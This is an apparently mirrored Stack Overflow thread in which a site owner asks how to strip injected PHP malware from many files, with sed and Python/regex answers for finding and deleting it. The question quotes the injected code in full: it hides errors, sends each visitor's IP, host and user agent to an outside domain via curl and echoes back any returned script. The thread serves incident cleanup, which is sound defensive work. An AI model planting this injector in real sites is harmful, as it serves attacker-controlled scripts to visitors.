【问题标题】:Find-and-replace multiple complex lines in Linux在 Linux 中查找和替换多个复杂行
【发布时间】:2014-02-13 19:47:06
【问题描述】:

我正在尝试清理安全漏洞。我想在 web 目录中找到所有有问题的 PHP 代码实例并将其删除。它看起来像这样:

<?php
#c9806e#
error_reporting(0); ini_set('display_errors',0); $wp_xoy23462 = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', $wp_xoy23462) && !preg_match ('/bot/i', $wp_xoy23462))){
$wp_xoy0923462="http://"."template"."class".".com/class"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_xoy23462);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_xoy0923462);
curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_23462xoy = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_23462xoy,1,3) === 'scr' ){ echo $wp_23462xoy; }
#/c9806e#
?>
<?php

?>

c9806e 是一个随机的字母数字字符串)

我找到了很多使用findsedgrep 来替换简单事物的资源。我可能可以根据这一切拼凑出一些东西,但我不确定它是否有效,或者它不会破坏任何东西。

这是我拥有的工具:

  • GNU awk 3.1.7
  • GNU grep 2.6.3
  • GNU sed 4.2.1
  • GNU 查找 4.4.2

这是带有转义字符的违规代码。

<\?php
#\w+#
error_reporting\(0\); ini_set\('display_errors',0\); $wp_xoy23462 = @$_SERVER\['HTTP_USER_AGENT'\];
if \(\( preg_match \('/Gecko\|MSIE/i', $wp_xoy23462\) && !preg_match \('/bot/i', $wp_xoy23462\)\)\)\{
$wp_xoy0923462="http://"\."template"\."class"\."\.com/class"\."/\?ip="\.$_SERVER\['REMOTE_ADDR'\]\."&referer="\.urlencode\($_SERVER\['HTTP_HOST'\]\)\."&ua="\.urlencode\($wp_xoy23462\);
$ch = curl_init\(\); curl_setopt \($ch, CURLOPT_URL,$wp_xoy0923462\);
curl_setopt \($ch, CURLOPT_TIMEOUT, 6\); curl_setopt\($ch, CURLOPT_RETURNTRANSFER, 1\); $wp_23462xoy = curl_exec \($ch\); curl_close\($ch\);\}
if \( substr\($wp_23462xoy,1,3\) === 'scr' \)\{ echo $wp_23462xoy; \}
#/w+#
\?>
<\?php

\?>

编辑:事实证明,一些换行符是\r\n 而不是\n。 (其他人只是'\n'。)

【问题讨论】:

  • 你到底想做什么?请编辑问题,使其变得清晰。
  • "我想在 web 目录中找到所有有问题的 PHP 代码实例并删除它们。"够清楚吗?
  • @leewangzhong 如果“#...#”是随机的,那么每个 php 中有多少个块(您要删除的块)?最大限度。 1 个?
  • 您最好从备份中恢复所有内容,而不是尝试搜索错误代码。
  • 那将是理想的,但我无法从违规前获得备份。 @Kent 似乎每个人都有一次。

标签: linux bash sed awk


【解决方案1】:
sed -n '1! H;1 h
$ {x
: again
  \|<?php\n#\([[:alnum:]]\{1,\}\)#\nerror_reporting(0).*#/\1#\n?>\n<\?php\n\n\?>| s///
  t again
  p
  }'

似乎适用于 GNU sed 的版本(感谢@leewangzhong)

sed -n '1! H;1 h
$ {x
: again
  \|<?php\r*\n#\([[:alnum:]]\{6\}\)#\nerror_reporting(0).*#/\1#\r*\n?>\r*\n<?php\r*\n\r*\n?>| s///
  t again
  p
  }'

尝试这样的事情,但它确实取决于内部代码格式(\n,空格,...)

概念:

  1. 加载缓冲区中的所有文件(sed默认逐行工作)以允许\n模式

    1! H;1 小时

用于在读取时(从工作缓冲区)将每一行加载到保持缓冲区中

$ {x

在最后一行 $ 时将 x 信息从保持缓冲区取回工作缓冲区(实际上交换内容),因此 sed 现在正在处理整个文件,包括每行末尾的 \n

  1. 搜索和修改(删除)以
  2. 如果找到,重新启动操作(所以使用新 ID)
  3. 如果没有找到(所以不再有错误代码),打印结果(清理后的代码)

【讨论】:

  • 这对我有帮助,但作为 StackOverflow 的答案,它并没有真正解释。
  • 我无法真正让它工作,所以我做了其他事情并将其发布为答案。
  • 如果您想批准编辑,我在适合我的版本中编辑。
  • 抱歉,但看不到您要验证的编辑,您使用的是哪个版本的 sed?我的是 AIX 版本。使用 GNU sed,添加 -posix 选项
  • 我是在纠正错误,而不是语言差异。您的原始文件对? 的转义不一致,缺少换行符(例如在# 和? 之间),并且应该使用#\( 而不是\(#。事实证明,有些输出中有\r,但这不是你的错。
【解决方案2】:

使用 Python 代替 sed 进行替换。

正则表达式:

<\?php\s+#(\w+)#\s+error_reporting\(0\)[^#]+#/\1#\s+\?>[^>]+>

带有 cmets 的正则表达式:

<\?php                  #Start of PHP code (escape the '?')
\s+                     #Match any number of whitespace
#(\w+)#\s+              #Hax header: one or more alphanumeric
                          #symbols, and use parens to remember this group
error_reporting\(0\)    #To be really sure that this isn't innocent code,
                          #we check for turning off error reporting.
[^#]+                   #Match any character until the next #, including
                          #newlines.
#/\1#\s+                #Hax footer (using \1 to refer to the header code)
\?>                     #End of the PHP code
[^>]+>                  #Also catch the dummy <?php ?> that was added:
                          #match up to the next closing '>'


# $find . -type f -name "*.php" -exec grep -l --null "wp_xoy0923462" {} \; | xargs -0 -I fname python unhaxphp.py fname >> unhax.out

Python 脚本:

#Python 2.6

import re
haxpattern = r"<\?php\s+#(\w+)#\s+error_reporting\(0\)[^#]+#/\1#\s+\?>[^>]+>"
haxre = re.compile(haxpattern)

#Takes in two file paths
#Prints from the infile to the outfile, with the hax removed
def unhax(input,output):
    with open(input) as infile:
        with open(output,'w') as outfile:
            whole = infile.read() #read the entire file, yes
            match = haxre.search(whole)

            if not match: #not found
                return

            #output to file
            outfile.write(whole[:match.start()]) #before hax
            outfile.write(whole[match.end():])   #after hax
    #return the removed portion
    return match.group()

def process_and_backup(fname):
    backup = fname+'.bak2014';

    #move file to backup
    import os
    os.rename( fname, backup )

    try:
        #process
        print '--',fname,'--'
        print unhax(input=backup, output=fname)
    except Exception:
        #failed, undo move
        os.rename( backup, fname)
        raise

def main():
    import sys
    for arg in sys.argv[1:]:
        process_and_backup(arg)

if __name__=='__main__':
    main()

命令:

find . -type f -name "*.php" -exec grep -l --null "wp_xoy0923462" {} \; | xargs -0 -I fname python unhaxphp.py fname >> unhax.out

命令,解释:

find         #Find,
    .             #starting in the current folder,
    -type f        #files only (not directories)
    -name "*.php"   #which have names with extension .php
    -exec grep       #and execute grep on each file with these args:
        -l               #Print file names only (instead of matching lines)
        --null           #End prints with the NUL char instead of a newline
        "wp_xoy0923462"  #Look for this string
        {}               #in this program ("{}" being a placeholder for `find`)
    \;               #(End of the -exec command
|            #Use the output from above as the stdin for this program:
xargs        #Read from stdin, and for each string that ends
    -0        #with a NUL char (instead of whitespace)
    -I fname  #replace "fname" with that string (instead of making a list of args)
              #in the following command:
    python             #Run the Python script
        unhaxphp.py    #with this filename, and pass as argument:
            fname          #the filename of the .php file to unhax
    >> unhax.out   #and append stdout to this file instead of the console

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 2013-02-24
    • 2021-05-26
    • 2016-01-04
    • 2022-01-09
    • 1970-01-01
    • 2016-12-10
    • 2023-03-18
    • 2021-04-07
    相关资源
    最近更新 更多